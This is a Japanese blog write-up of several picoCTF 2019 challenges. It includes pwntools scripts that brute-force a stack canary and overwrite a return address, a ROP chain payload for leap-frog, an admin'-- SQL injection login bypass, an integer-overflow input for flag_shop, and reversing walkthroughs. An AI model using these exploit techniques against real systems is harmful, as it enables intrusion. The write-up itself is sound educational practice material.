中高生向けのCTF、picoCTF 2019 の write-up です。他の得点帯の write-up へのリンクはこちらを参照。
[Binary] CanaRy (300pt)
This time we added a canary to detect buffer overflows. Can you still find a way to retreive the flag from this program located in /problems/canary_0_2aa953036679658ee5e0cc3e373aa8e0. Source.
Hint
Maybe there's a smart way to brute-force the canary?
実行ファイルvuln
と、ソースファイルvuln.c
が配布されます。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <wchar.h> #include <locale.h> #define BUF_SIZE 32 #define FLAG_LEN 64 #define KEY_LEN 4 void display_flag() { char buf[FLAG_LEN]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("'flag.txt' missing in the current directory!\n"); exit(0); } fgets(buf,FLAG_LEN,f); puts(buf); fflush(stdout); } char key[KEY_LEN]; void read_canary() { FILE *f = fopen("/problems/canary_0_2aa953036679658ee5e0cc3e373aa8e0/canary.txt","r"); if (f == NULL) { printf("[ERROR]: Trying to Read Canary\n"); exit(0); } fread(key,sizeof(char),KEY_LEN,f); fclose(f); } void vuln(){ char canary[KEY_LEN]; char buf[BUF_SIZE]; char user_len[BUF_SIZE]; int count; int x = 0; memcpy(canary,key,KEY_LEN); printf("Please enter the length of the entry:\n> "); while (x<BUF_SIZE) { read(0,user_len+x,1); if (user_len[x]=='\n') break; x++; } sscanf(user_len,"%d",&count); printf("Input> "); read(0,buf,count); if (memcmp(canary,key,KEY_LEN)) { printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n"); exit(-1); } printf("Ok... Now Where's the Flag?\n"); fflush(stdout); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); int i; gid_t gid = getegid(); setresgid(gid, gid, gid); read_canary(); vuln(); return 0; }
タイトルからしてもCANARYが使われているようです。。。と思ったら、プログラムの中にread_canary()
関数が。試しにshell serverでのぞいてみましたが、Permission denied でした。デスヨネ…。
この問題は、picoCTF2018 buffer overflow 3 とほぼ同じ問題です。前半の解き方はこちらにあるので、今回のwriteupでは使用したスクリプトとざっくりの流れのみ。
まずは canary をbrute forceで取りに行きます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * # picoCTF の shell serverに接続 print('picoCTF shell server login') print('name:') pico_name = input('>>') print('password') pico_pass = input('>>') canary = b'' for i in range(4): for c in range(0xff): attack = b'a'*32 + canary + bytes([c]) print(attack) p = pico_ssh.process('./vuln') p.recvuntil('Please enter the length of the entry:\n> ') p.sendline(str(32+i+1)) p.recvuntil('Input> ') p.sendline(attack) res = p.recvall() if b"Canary Value Corrupt!" not in res: print(res) canary += bytes([c]) break print(canary)
実行結果
$ python canary.py (略) b'33xO'
この場合のstackは下記。
0x20 | buf | 32 0x10 | canary | 4 + 12 0x4 | ebp | 4 0x4 | return | 4
return のところに display_flag
関数が来るように調節します。
ところで、今回のファイル、picoCTF2018と違うところは、なんとPIEが有効になっています!点数下がってるのに!
前回(picoCTF2018 buffer overflow 3)
[*] '/picoCTF_2018/Binary/buffer_overflow_3/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE
今回
[*] '/picoCTF_2019/Binary/300_CanaRy/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
ということで、各関数のアドレスも実行ごとに書き換わってしまうことに注意です。
PIEについては ångstromCTF 2019 の Pie Shop で触れました。
$ objdump -d vuln | grep display_flag 000007ed <display_flag>: 81f: 75 1c jne 83d <display_flag+0x50>
display_flag
のアドレスは000007ed
のようです。アドレスは書き換わっても上位ビットは値が変わらないので、下位の2バイトが偶然一致すれば当たり。これも Pie Shop と一緒ですね…!
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * context.log_level = 'warn' # picoCTF の shell serverに接続 print('picoCTF shell server login') print('name:') pico_name = input('>>') print('password') pico_pass = input('>>') pico_ssh = ssh(host='2019shell1.picoctf.com', user=pico_name, password=pico_pass) pico_ssh.set_working_directory('/problems/canary_0_2aa953036679658ee5e0cc3e373aa8e0') display_flag_adder = 0x07ed canary = b"33xO" attack = b"a"*32 + canary + b"a"*(16-4+4) + p16(display_flag_adder) counter = 0 while True: print('counter: ' + str(counter)) p = pico_ssh.process('./vuln') print(p.recvuntil(b'Please enter the length of the entry:\n> ')) p.sendline(str(len(attack))) print(p.recvuntil(b'Input> ')) p.sendline(attack) res = p.recvall() print(res) if b'picoCTF{' in res: break counter += 1
実行結果
$ python solve.py picoCTF shell server login counter: 0 b'Please enter the length of the entry:\n> ' b'Input> ' b"Ok... Now Where's the Flag?\n" counter: 1 b'Please enter the length of the entry:\n> ' b'Input> ' b"Ok... Now Where's the Flag?\n" counter: 2 b'Please enter the length of the entry:\n> ' b'Input> ' b"Ok... Now Where's the Flag?\n" counter: 3 b'Please enter the length of the entry:\n> ' b'Input> ' b"Ok... Now Where's the Flag?\n" counter: 4 b'Please enter the length of the entry:\n> ' b'Input> ' b"Ok... Now Where's the Flag?\npicoCTF{cAnAr135_mU5t_b3_r4nd0m!_069c6f48}\n"
なんと運良く4回で当たりました!
実はこれ、競技期間中に何度かトライしてぶん回してたんですけど、1万回超えを2回やっても当たらなかったので諦めちゃったのです。他の方のwriteup見てみたら、最初に送るInputLengthを適当に100
とか入れてたのが原因っぽい。localだとこれでとれたんだけどな?
あと、毎回この手の問題で「ローカルで回したほうが早いわ!」と思うんですけどワンライナー力が足りなくて結局pythonスクリプトでごまかしてました。夜通し回せばなんとかなるじゃろと。。。でもトライアンドエラーすることも考えると、やっぱりローカルで回せる問題ならローカルで動かしたい。ということで今回、local用のスクリプトを書いて shell server で回してみました。送る文字列は上記のスクリプトで出したattack
です。
ランダムな部分は4bitなので、(1/2)4 = 1/16 の確率で当たるはず。
組んだコマンドがこちら。ワンライナー難しい…。
$ while [[ $flag != *picoCTF{* ]]; do flag=$(echo `printf '54\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa33xOaaaaaaaaaaaaaaaa\xed\x07' | ./vuln`); echo $flag; done
実行結果
$ while [[ $flag != *picoCTF{* ]]; do flag=$(echo `printf '54\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa33xOaaaaaaaaaaaaaaaa\xed\x07' | ./vuln`); echo $flag; done Please enter the length of the entry: > Input> Ok... Now Where's the Flag? Please enter the length of the entry: > Input> Ok... Now Where's the Flag? Please enter the length of the entry: > Input> Ok... Now Where's the Flag? Please enter the length of the entry: > Input> Ok... Now Where's the Flag? Please enter the length of the entry: > Input> Ok... Now Where's the Flag? Please enter the length of the entry: > Input> Ok... Now Where's the Flag? Please enter the length of the entry: > Input> Ok... Now Where's the Flag? Please enter the length of the entry: > Input> Ok... Now Where's the Flag? Please enter the length of the entry: > Input> Ok... Now Where's the Flag? Please enter the length of the entry: > Input> Ok... Now Where's the Flag? Please enter the length of the entry: > Input> Ok... Now Where's the Flag? Please enter the length of the entry: > Input> Ok... Now Where's the Flag? picoCTF{cAnAr135_mU5t_b3_r4nd0m!_069c6f48}
出たー!!!
[Forensics] Investigative Reversing 0 (300pt)
m00nwalkを解いたら出てきたのかな?
We have recovered a binary and an image. See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-0_2_ab841e10c5d847cfcf0eae8b4b3bc0a7 on the shell server.
Hints
Try using some forensics skills on the image
This problem requires both forensics and reversing skills
A hex editor may be helpful
mystery
という実行ファイルとmystery.png
というPNGファイルが配布されます。
まずはimageに対してforensic的なサムシングをしてみなさいとのことなのでやってみます。strings
コマンドかけたときもちょっと気になっていたのですが、zsteg
ツールをかけてみるとこんな結果が。
$ zsteg -a mystery.png [?] 26 bytes of extra data after image end (IEND), offset = 0x1e873 extradata:0 .. 00000000: 70 69 63 6f 43 54 4b 80 6b 35 7a 73 69 64 36 71 |picoCTK.k5zsid6q| 00000010: 5f 65 36 36 65 66 63 31 62 7d |_e66efc1b} | imagedata .. text: "PPP@@@@@@@@@@@@"
imageのあとにpicoCTK.k5zsid6q_e66efc1b}
というデータが埋まっているらしい。stringsコマンドでも出てきていましたが、imageの後なのはわかりませんでした。超怪しい。
この文字列が、今度は実行ファイルに活かせたりするのかな?
ということで実行ファイルの方を見てみます。まずは動かしてみます。
$ ./mystery at insert
ん?
よくわからないのでghidraで解析&decompileしてもらいます。decompile結果を、変数名をわかりやすくしてみました。
void main(void) { FILE *stream_flag; FILE *stream_png; size_t flag; long in_FS_OFFSET; int index; int index2; char flag_ptr [4]; char local_34; char local_33; char local_29; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); stream_flag = fopen("flag.txt","r"); stream_png = fopen("mystery.png","a"); if (stream_flag == (FILE *)0x0) { puts("No flag found, please make sure this is run on the server"); } if (stream_png == (FILE *)0x0) { puts("mystery.png is missing, please run this on the server"); } flag = fread(flag_ptr,0x1a,1,stream_flag); // 0x1a = 26 if ((int)flag < 1) { /* WARNING: Subroutine does not return */ exit(0); } puts("at insert"); fputc((int)flag_ptr[0],stream_png); // p fputc((int)flag_ptr[1],stream_png); // i fputc((int)flag_ptr[2],stream_png); // c fputc((int)flag_ptr[3],stream_png); // o fputc((int)local_34,stream_png); // C fputc((int)local_33,stream_png); // T index = 6; while (index < 0xf) { // 0xf = 15d fputc((int)(char)(flag_ptr[(long)index] + '\x05'),stream_png); // 5たされている index = index + 1; } fputc((int)(char)(local_29 + -3),stream_png); // -3されている index2 = 0x10; // 0x10 = 16 while (index2 < 0x1a) { // 0x1a = 26 fputc((int)flag_ptr[(long)index2],stream_png); // そのまま index2 = index2 + 1; } fclose(stream_png); fclose(stream_flag); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
flag.txtを読み込んで、ちょろっと変換してmystery.png
の後ろにくっつけたみたい。
これは割と簡単にもとに戻せそうです。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- transfered = 'picoCTK.k5zsid6q_e66efc1b}' flag = '' print('length: ' + str(len(transfered))) idx = 0 while idx < 6: flag += transfered[idx] idx += 1 while idx < 15: flag += chr(ord(transfered[idx])-5) idx += 1 flag += chr(ord(transfered[idx])+3) idx += 1 while idx < 26: flag += transfered[idx] idx += 1 print(flag)
実行結果
$ python solve.py length: 26 picoCTF)f0und_1t_e66efc1b}
なんか8文字目が{
になってほしいのに(
になっていますが、バイナリエディタで確認すると、変換前は0x80
、これがascii文字で表せなかったので.
になっているんですね。0c80-5 = 0x7b
で、asciiの{
にあたるので、flagは picoCTF{f0und_1t_e66efc1b}
この問題は最初から出しておいてくれると嬉しかったなー!
[Web] Irish-Name-Repo 1 (300pt)
There is a website running at https://2019shell1.picoctf.com/problem/32241/ (link) or http://2019shell1.picoctf.com:32241. Do you think you can log us in? Try to see if you can login!
Hints
There doesn't seem to be many ways to interact with this, I wonder if the users are kept in a database? Try to think about how does the website verify your login?
指定されたサイトに飛んでみます。顔写真と名前が沢山。
いくつかメニューが。
完全に Admin Login がアヤシイですが、ここは Support をまず見てみます。
ここで得られる情報は、どうやらDBにSQLを使っているっぽいということです。
ということで、 Admin Login に行ってSQLインジェクションを試してみます。
admin'--
をUsrenameに入れるだけで通りました!めでたし!
[Reversing] asm3 (300pt)
What does asm3(0xaeed09cb,0xb7acde91,0xb7facecd) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm3_0_9cdf5fc9325b2a6276fb8e5908f0b5df.
またまたアセンブリが配布されます。
asm3: <+0>: push ebp <+1>: mov ebp,esp <+3>: xor eax,eax <+5>: mov ah,BYTE PTR [ebp+0xb] <+8>: shl ax,0x10 <+12>: sub al,BYTE PTR [ebp+0xe] <+15>: add ah,BYTE PTR [ebp+0xd] <+18>: xor ax,WORD PTR [ebp+0x12] <+22>: nop <+23>: pop ebp <+24>: ret
これに 0xaeed09cb,0xb7acde91,0xb7facecd
を入れたときの出力を聞かれています。
入力値は下記のように詰まっています。
ebp + 0x00 | ebp | ebp + 0x04 | ret | ebp + 0x08 | arg1 = 0xaeed09cb | ebp + 0x0c | arg2 = 0xb7acde91 | ebp + 0x10 | arg3 = 0xb7facecd |
BYTE, WORD が出てくるのでこれについてはここでおさらい。アセンブリ言語入門
DWORD: 4バイト WORD: 2バイト BYTE: 1バイト
今回は、WORD/BYTE単位で扱うため、それぞれのグループに分割してみます。
【BYTE】
ebp + 0x08 | 0xcb | ebp + 0x09 | 0x09 | ebp + 0x0a | 0xed | ebp + 0x0b | 0xae | ebp + 0x0c | 0x91 | ebp + 0x0d | 0xde | ebp + 0x0e | 0xac | ebp + 0x0f | 0xb7 | ebp + 0x10 | 0xcd | ebp + 0x11 | 0xce | ebp + 0x12 | 0xfa | ebp + 0x13 | 0xb7 |
【WORD】
ebp + 0x08 | 0x09cb | ebp + 0x0a | 0xaeed | ebp + 0x0c | 0xde91 | ebp + 0x0e | 0xb7ac | ebp + 0x10 | 0xcecd | ebp + 0x12 | 0xb7fa |
処理を追っていきます。
asm3: <+0>: push ebp # base pointer を stackの一番上に <+1>: mov ebp,esp # stack pointer を ebp に追従 <+3>: xor eax,eax # eax xor eax = 0 <+5>: mov ah,BYTE PTR [ebp+0xb] # ah に 0xae を代入; eax = 0x0000ae00 <+8>: shl ax,0x10 # ax を16bit 左シフト; ax = 0xae00 => 0x0000; eax = 0x00000000 <+12>: sub al,BYTE PTR [ebp+0xe] # al = al - 0xac; eax = 0x00000054 <+15>: add ah,BYTE PTR [ebp+0xd] # ah = ah + 0xde; eax = 0x0000de54 <+18>: xor ax,WORD PTR [ebp+0x12] # ax = 0xde54 xor 0xb7fa; eax = 0x69ae <+22>: nop <+23>: pop ebp # eax を return <+24>: ret
ということで、最終的に 0x69ae
が計算結果に。これもこのままflagに突っ込みます。
[Reversing] droids0 (300pt)
Where do droid logs go. Check out this file. You can also find the file in /problems/droids0_0_205f7b4a3b23490adffddfcfc45a2ca3.
zero.apk
というAndroid用アプリが配布されます。fileコマンドで中身を見てみます。
AndroidStudioをニューマシーンに入れてなかったので、まずは手持ちのAndroid端末に入れて起動してみます。
こんな画面が出てきました。怪しすぎるボタンを押すと
"Not Today..."だそうです。画面上部にヒントが書いてあります。
where else can output go? [PICO]
あー、これはきっとLogに出るやつだなー。帰ったらAndroidStudio入れて立ち上げてログ見てみよう。(出先だった)
...というメモを残したまま、AndroidStudioを入れるのを後回しにし続けたところ、競技期間が終わってました。。。。
AndroidStudio公式サイト より DL & install。
事前ビルド済み APK のプロファイリングやデバッグを行う | Android Developers
こちらを見ながら、エミュレーターで該当のapkを立ち上げます。
Logcat
を見ながらボタンを押すと、ここにflagが表示されました!
これこそ点数を稼ぐために競技期間中にやっておくべきだった…orz。
[General] flag_shop (300pt)
There's a flag shop selling stuff, can you buy a flag? Source. Connect with nc 2019shell1.picoctf.com 29250.
ソースコード store.c
が配布されます。
#include <stdio.h> #include <stdlib.h> int main() { setbuf(stdout, NULL); int con; con = 0; int account_balance = 1100; while(con == 0){ printf("Welcome to the flag exchange\n"); printf("We sell flags\n"); printf("\n1. Check Account Balance\n"); printf("\n2. Buy Flags\n"); printf("\n3. Exit\n"); int menu; printf("\n Enter a menu selection\n"); fflush(stdin); scanf("%d", &menu); if(menu == 1){ printf("\n\n\n Balance: %d \n\n\n", account_balance); } else if(menu == 2){ printf("Currently for sale\n"); printf("1. Defintely not the flag Flag\n"); printf("2. 1337 Flag\n"); int auction_choice; fflush(stdin); scanf("%d", &auction_choice); if(auction_choice == 1){ printf("These knockoff Flags cost 900 each, enter desired quantity\n"); int number_flags = 0; fflush(stdin); scanf("%d", &number_flags); if(number_flags > 0){ int total_cost = 0; total_cost = 900*number_flags; printf("\nThe final cost is: %d\n", total_cost); if(total_cost <= account_balance){ account_balance = account_balance - total_cost; printf("\nYour current balance after transaction: %d\n\n", account_balance); } else{ printf("Not enough funds to complete purchase\n"); } } } else if(auction_choice == 2){ printf("1337 flags cost 100000 dollars, and we only have 1 in stock\n"); printf("Enter 1 to buy one"); int bid = 0; fflush(stdin); scanf("%d", &bid); if(bid == 1){ if(account_balance > 100000){ FILE *f = fopen("flag.txt", "r"); if(f == NULL){ printf("flag not found: please run this on the server\n"); exit(0); } char buf[64]; fgets(buf, 63, f); printf("YOUR FLAG IS: %s\n", buf); } else{ printf("\nNot enough funds for transaction\n\n\n"); }} } } else{ con = 1; } } return 0; }
指定のホストに接続してみます。
$ nc 2019shell1.picoctf.com 29250 Welcome to the flag exchange We sell flags 1. Check Account Balance 2. Buy Flags 3. Exit Enter a menu selection
なんか見たことあるぞ!flag屋さんですね。
初期状態で$1100
与えられており、本物のフラグ(1337 Flag
)を買うには$100000
必要です。偽物を買うには$900
必要ですが、偽物をたくさん買っても本物にはなりません。そもそも値段的に1つしか買えません。
なんとかして所持金(account_balance
)を増やす必要があります。
ここで、account_balance
の型がint
であることに注目。偽物の旗の購入総額が所持金を上回っていないかのチェックがL41
の比較で行われていますが、total_cost
が負数でもこのチェックは通りそう。なので、偽物の旗を大量に購入してtotal_cost
を桁あふれさせてやります。
以下、流れがわかりやすいように、入力は >
と表記します。無駄な改行は消したりしています。
$ nc 2019shell1.picoctf.com 29250 Welcome to the flag exchange We sell flags 1. Check Account Balance 2. Buy Flags 3. Exit Enter a menu selection > 1 Balance: 1100 Welcome to the flag exchange We sell flags 1. Check Account Balance 2. Buy Flags 3. Exit Enter a menu selection > 2 Currently for sale 1. Defintely not the flag Flag 2. 1337 Flag > 1 These knockoff Flags cost 900 each, enter desired quantity > 100000000000000000 The final cost is: -651689984 Your current balance after transaction: 651691084 Welcome to the flag exchange We sell flags 1. Check Account Balance 2. Buy Flags 3. Exit Enter a menu selection > 2 Currently for sale 1. Defintely not the flag Flag 2. 1337 Flag > 2 1337 flags cost 100000 dollars, and we only have 1 in stock Enter 1 to buy one > 1 YOUR FLAG IS: picoCTF{m0n3y_bag5_783740a8}
[Binary] leap-frog (300pt)
Can you jump your way to win in the following program and get the flag? You can find the program in /problems/leap-frog_3_5d6cea2f1cec97458549353ec1e7e158 on the shell server? Source.
Hints
Try and call the functions in the correct order! Remember, you can always call main() again!
実行ファイル rop
と ソースコード rop.c
が配布されます。
ヒントとファイル名から、ROPをつないでdisplay_flag()
関数を呼び出す問題のようです。
去年の問題 picoCTF2018 rop chain に似ています。が、後で発覚しますが、また点数下がってるのに一捻りあります…。
実行ファイルを見てみます。
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE
32bit, No canary, No PIE。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <stdbool.h> #define FLAG_SIZE 64 bool win1 = false; bool win2 = false; bool win3 = false; void leapA() { win1 = true; } void leap2(unsigned int arg_check) { if (win3 && arg_check == 0xDEADBEEF) { win2 = true; } else if (win3) { printf("Wrong Argument. Try Again.\n"); } else { printf("Nope. Try a little bit harder.\n"); } } void leap3() { if (win1 && !win1) { win3 = true; } else { printf("Nope. Try a little bit harder.\n"); } } void display_flag() { char flag[FLAG_SIZE]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("'flag.txt' missing in the current directory!\n"); exit(0); } fgets(flag, sizeof(flag), file); if (win1 && win2 && win3) { printf("%s", flag); return; } else if (win1 || win3) { printf("Nice Try! You're Getting There!\n"); } else { printf("You won't get the flag that easy..\n"); } } void vuln() { char buf[16]; printf("Enter your input> "); return gets(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); }
コードを読むと、main
からvuln
が呼ばれ、bub[16]
にユーザー入力を入れ、これをreturnしています。buf
にはBufferOverflowの脆弱性があるので、これを利用します。
最終的にはdisplay_flag()
関数を呼びますが、その前にwin1,2,3
をtrue
にする必要があります。何も考えずにざっと見ると、leapA()
,leap3()
,leap2(0xDEADBEEF)
の順に呼び出せば良さそうですが、leap3()
が曲者で、普通に呼び出すだけではif (win1 && !win1)
の条件が満たせず、win3
がtrue
になりません。
ここで、今までのBinary問題でやってみた、"関数の途中の命令を呼ぶ" が使えそう。具体的には、leap3()
関数の中のif (win1 && !win1)
の条件分岐を飛ばして、win3 = true;
の命令部分をいきなり呼び出せれば良さそう。イメージこんな感じ。
- call
leapA()
- call
leap3()
'swin3 = true
address - call
leap2()
with arg0xDEADBEEF
- call
display_flag()
各関数のアドレスをradare2
を使って調べます。
$ r2 rop [0x080484d0]> aaaa (略) [0x080484d0]> afl (略) 0x080483e8 3 35 sym._init 0x08048420 1 6 sym.imp.printf 0x08048430 1 6 sym.imp.gets 0x08048440 1 6 sym.imp.fgets 0x08048450 1 6 sym.imp.getegid 0x08048460 1 6 sym.imp.puts 0x08048470 1 6 sym.imp.exit (略) 0x080485e6 1 23 sym.leapA 0x080485fd 7 105 sym.leap2 0x08048666 5 77 sym.leap3 0x080486b3 11 222 sym.display_flag 0x08048791 1 56 sym.vuln 0x080487c9 1 100 sym.main
また、leap3()
の中の、飛ぶべきアドレスを調べます。
[0x080484d0]> s sym.leap3 [0x08048666]> pdf / (fcn) sym.leap3 77 | sym.leap3 (); | ; var int local_4h @ ebp-0x4 | 0x08048666 55 push ebp | 0x08048667 89e5 mov ebp, esp | 0x08048669 53 push ebx | 0x0804866a 83ec04 sub esp, 4 | 0x0804866d e8bb010000 call sym.__x86.get_pc_thunk.ax | 0x08048672 058e190000 add eax, 0x198e | 0x08048677 0fb6903d0000. movzx edx, byte [eax + 0x3d] ; [0x3d:1]=255 ; '=' ; 61 | 0x0804867e 84d2 test dl, dl | ,=< 0x08048680 7417 je 0x8048699 | | 0x08048682 0fb6903d0000. movzx edx, byte [eax + 0x3d] ; [0x3d:1]=255 ; '=' ; 61 | | 0x08048689 83f201 xor edx, 1 | | 0x0804868c 84d2 test dl, dl | ,==< 0x0804868e 7409 je 0x8048699 | || 0x08048690 c6803f000000. mov byte [eax + 0x3f], 1 | ,===< 0x08048697 eb14 jmp 0x80486ad | ||| ; CODE XREFS from sym.leap3 (0x8048680, 0x804868e) | |``-> 0x08048699 83ec0c sub esp, 0xc | | 0x0804869c 8d90dce8ffff lea edx, dword [eax - 0x1724] | | 0x080486a2 52 push edx | | 0x080486a3 89c3 mov ebx, eax | | 0x080486a5 e8b6fdffff call sym.imp.puts ; int puts(const char *s) | | 0x080486aa 83c410 add esp, 0x10 | | ; CODE XREF from sym.leap3 (0x8048697) | `---> 0x080486ad 90 nop | 0x080486ae 8b5dfc mov ebx, dword [local_4h] | 0x080486b1 c9 leave \ 0x080486b2 c3 ret
0x08048690 c6803f000000. mov byte [eax + 0x3f], 1
ここっぽい。
leap2()
関数のarg
は下記のようになっています。
[0x08048666]> s sym.leap2 [0x080485fd]> pdf / (fcn) sym.leap2 105 | sym.leap2 (int arg_8h); | ; var int local_4h @ ebp-0x4 | ; arg int arg_8h @ ebp+0x8
以上の情報より、下記のように組んでみます。
0x18 + 0x4 | payload 0x4 | address leapA() 0x4 | address win3の途中 0x4 | address leap2() 0x4 | pop() 0x4 | arg leap2() 0x4 | address disp_flag()
途中、一旦pop
をはさみたいので、使えそうな pop
命令を探します。
[0x08048666]> "/R pop;ret" 0x080483fc ff85c07405e8 inc dword [ebp - 0x17fa8b40] 0x08048402 ba00000083 mov edx, 0x83000000 0x08048407 c408 les ecx, [eax] 0x08048409 5b pop ebx 0x0804840a c3 ret 0x080483ff 7405 je 0x8048406 0x08048401 e8ba000000 call 0x80484c0 0x08048406 83c408 add esp, 8 0x08048409 5b pop ebx 0x0804840a c3 ret 0x08048404 0000 add byte [eax], al 0x08048406 83c408 add esp, 8 0x08048409 5b pop ebx 0x0804840a c3 ret 0x080485ed 0005121a0000 add byte [0x1a12], al 0x080485f3 c6803d00000001 mov byte [eax + 0x3d], 1 0x080485fa 90 nop 0x080485fb 5d pop ebp 0x080485fc c3 ret 0x080485ee 05121a0000 add eax, 0x1a12 0x080485f3 c6803d00000001 mov byte [eax + 0x3d], 1 0x080485fa 90 nop 0x080485fb 5d pop ebp 0x080485fc c3 ret 0x080485f0 1a00 sbb al, byte [eax] 0x080485f2 00c6 add dh, al 0x080485f4 803d0000000190 cmp byte [0x1000000], 0x90 0x080485fb 5d pop ebp 0x080485fc c3 ret 0x080485f1 0000 add byte [eax], al 0x080485f3 c6803d00000001 mov byte [eax + 0x3d], 1 0x080485fa 90 nop 0x080485fb 5d pop ebp 0x080485fc c3 ret 0x080485f5 3d00000001 cmp eax, 0x1000000 0x080485fa 90 nop 0x080485fb 5d pop ebp 0x080485fc c3 ret 0x080485f6 0000 add byte [eax], al 0x080485f8 0001 add byte [ecx], al 0x080485fa 90 nop 0x080485fb 5d pop ebp 0x080485fc c3 ret 0x0804865c ff83c410908b inc dword [ebx - 0x746fef3c] 0x08048662 5d pop ebp 0x08048663 fc cld 0x08048664 c9 leave 0x08048665 c3 ret 0x080486a9 ff83c410908b inc dword [ebx - 0x746fef3c] 0x080486af 5d pop ebp 0x080486b0 fc cld 0x080486b1 c9 leave 0x080486b2 c3 ret 0x0804878d 5d pop ebp 0x0804878e fc cld 0x0804878f c9 leave 0x08048790 c3 ret 0x080487c5 5d pop ebp 0x080487c6 fc cld 0x080487c7 c9 leave 0x080487c8 c3 ret 0x08048820 0000 add byte [eax], al 0x08048822 008d65f8595b add byte [ebp + 0x5b59f865], cl 0x08048828 5d pop ebp 0x08048829 8d61fc lea esp, dword [ecx - 4] 0x0804882c c3 ret 0x08048826 59 pop ecx 0x08048827 5b pop ebx 0x08048828 5d pop ebp 0x08048829 8d61fc lea esp, dword [ecx - 4] 0x0804882c c3 ret 0x0804882a 61 popal 0x0804882b fc cld 0x0804882c c3 ret 0x08048896 c40c5b les ecx, [ebx + ebx*2] 0x08048899 5e pop esi 0x0804889a 5f pop edi 0x0804889b 5d pop ebp 0x0804889c c3 ret 0x08048897 0c5b or al, 0x5b 0x08048899 5e pop esi 0x0804889a 5f pop edi 0x0804889b 5d pop ebp 0x0804889c c3 ret 0x08048898 5b pop ebx 0x08048899 5e pop esi 0x0804889a 5f pop edi 0x0804889b 5d pop ebp 0x0804889c c3 ret 0x080488a8 e873fcffff call 0x8048520 0x080488ad 81c353170000 add ebx, 0x1753 0x080488b3 83c408 add esp, 8 0x080488b6 5b pop ebx 0x080488b7 c3 ret 0x080488b0 17 pop ss 0x080488b1 0000 add byte [eax], al 0x080488b3 83c408 add esp, 8 0x080488b6 5b pop ebx 0x080488b7 c3 ret 0x080488b4 c408 les ecx, [eax] 0x080488b6 5b pop ebx 0x080488b7 c3 ret
下記の部分が使えそう。
0x0804889b 5d pop ebp 0x0804889c c3 ret
これを組み立てるスクリプトを書いてみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * e = ELF('rop') leapA_addr = 0x080485e6 leap2_addr = 0x080485fd leap2_arg = 0xDEADBEEF # leap3_addr = 0x08048666 turn_win3_true = 0x08048690 disp_flag_addr = 0x080486b3 pop_addr = 0x0804889b payload = b'a' * (0x18 + 4) payload += p32(leapA_addr) payload += p32(turn_win3_true) payload += p32(leap2_addr) payload += p32(pop_addr) payload += p32(leap2_arg) payload += p32(disp_flag_addr) print(payload) print(b'(echo -e "' + payload + b'"; cat) | ./rop')
実行結果
$ python solve.py (中略) b'(echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08\x90\x86\x04\x08\xfd\x85\x04\x08\xb6\x88\x04\x08\xef\xbe\xad\xde\xb3\x86\x04\x08"; cat) | ./rop'
この命令を実行してみても、Segmentation faultで落ちてしまいます…。
何も出力がないということは、leap2()
の呼び出し前に落ちてると思われるので、leap3()
の途中の命令を呼び出している部分、payload += p32(turn_win3_true)
の行をコメントアウトして、ちゃんと組めてるか確かめてみます。
実行結果
$ python solve.py (中略) b'(echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08\xfd\x85\x04\x08\xb6\x88\x04\x08\xef\xbe\xad\xde\xb3\x86\x04\x08"; cat) | ./rop'
これを実行してみると
(echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08\xfd\x85\x04\x08\xb6\x88\x04\x08\xef\xbe\xad\xde\xb3\x86\x04\x08"; cat) | ./rop Enter your input> Nope. Try a little bit harder. Nice Try! You're Getting There!
おうおう。ちゃんとleap2()
及びdisplay_flag()
まで呼び出せてる && win1
はtrueになっているようです。どうも先程のleap3()
の途中を呼び出しているところがうまく返ってこれていない様子。。。
わからないのでpicoCTFの掲示板, Piazzaを見に行きました。なんかPIEが有効・無効の書き込みが多かったですが、これは競技中にPIEが有効だったものが無効のものに差し替わったみたい。
興味深いやり取りが。leap3()
関数の条件が満たせないんですけど!の問に対して、
If you can jump anywhere u want then are you strategic enough to decide your jumping point? ;)
Leap frog works as expected.
~ An instructor (Daniel Tunitis) endorsed this answer ~
というインストラクターの答え。更にこれに対して、
But that will not work next leave/ret because ebp will be wrong. More setup is needed before jumping to the middle of win3. This is a pretty hard challenge.
というコメントが付いています。
最初のインストラクターのコメントは、先程考えた飛び方を示しているように見えるのですが、後者のコメントより、leap3()
の最後leave -> ret
のところでebp
が困ったことになってしまうようで、そのまま呼び出してもダメみたい。何がどうしてだめになっているかは [picoctf] Leapfrog | Fascinating Confusion に詳しく書いてありましたので紹介まで。
もう自力ではさっぱりわからないので、色々writeupを読んでみたところ、下記の2解法が見つかりました。
- 基本的に上記の方針で、使える命令を探して
win3
をtrueに書き換える - getsを使って
win1,win2,win3
をtrue
に書き換える
今回は折角なので、このままの続きの流れでwin3
だけ他の方法で書き換える解法と、gets
を使う方法と両方をやってみようと思…ったんですけど、心折れたのでgets
の方のみにしました。
